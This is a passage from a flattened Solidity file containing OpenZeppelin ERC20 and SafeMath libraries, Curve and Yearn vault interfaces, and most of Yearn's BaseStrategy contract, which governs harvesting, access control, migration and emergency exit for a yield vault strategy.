}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: Zap
interface Zap {
function remove_liquidity_one_coin(
uint256,
int128,
uint256
) external;
function remove_liquidity_one_coin(
uint256,
int128,
uint256,
bool
) external;
}
// Part: iearn-finance/[email protected]/HealthCheck
interface HealthCheck {
function check(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding,
uint256 totalDebt
) external view returns (bool);
}
// Part: ICrvV3
interface ICrvV3 is IERC20 {
function minter() external view returns (address);
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
// health checks
bool public doHealthCheck;
address public healthCheck;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.4.2";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyEmergencyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyVaultManagers() {
require(msg.sender == vault.management() || msg.sender == governance(), "!authorized");
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
* @param _strategist The address to assign as `strategist`.
* The strategist is able to change the reward address
* @param _rewards The address to use for pulling rewards.
* @param _keeper The adddress of the _keeper. _keeper
* can harvest and tend a strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
function setHealthCheck(address _healthCheck) external onlyVaultManagers {
healthCheck = _healthCheck;
}
function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers {
doHealthCheck = _doHealthCheck;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
**/
function ethToWant(uint256 _amtInWei) public view virtual returns (uint256);
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* Liquidate everything and returns the amount that got freed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*/
function liquidateAllPositions() internal virtual returns (uint256 _amountFreed);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei).
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
uint256 callCost = ethToWant(callCostInWei);
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei).
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
uint256 callCost = ethToWant(callCostInWei);
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 amountFreed = liquidateAllPositions();
if (amountFreed < debtOutstanding) {
loss = debtOutstanding.sub(amountFreed);
} else if (amountFreed > debtOutstanding) {
profit = amountFreed.sub(debtOutstanding);
}
debtPayment = debtOutstanding.sub(loss);
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
// call healthCheck contract
if (doHealthCheck && healthCheck != address(0)) {
require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck");
} else {
doHealthCheck = true;
}
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* The migration process should be carefully performed to make sure all
* the assets are migrated to the new address, which should have never
* interacted with the vault before.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault));
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyEmergencyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
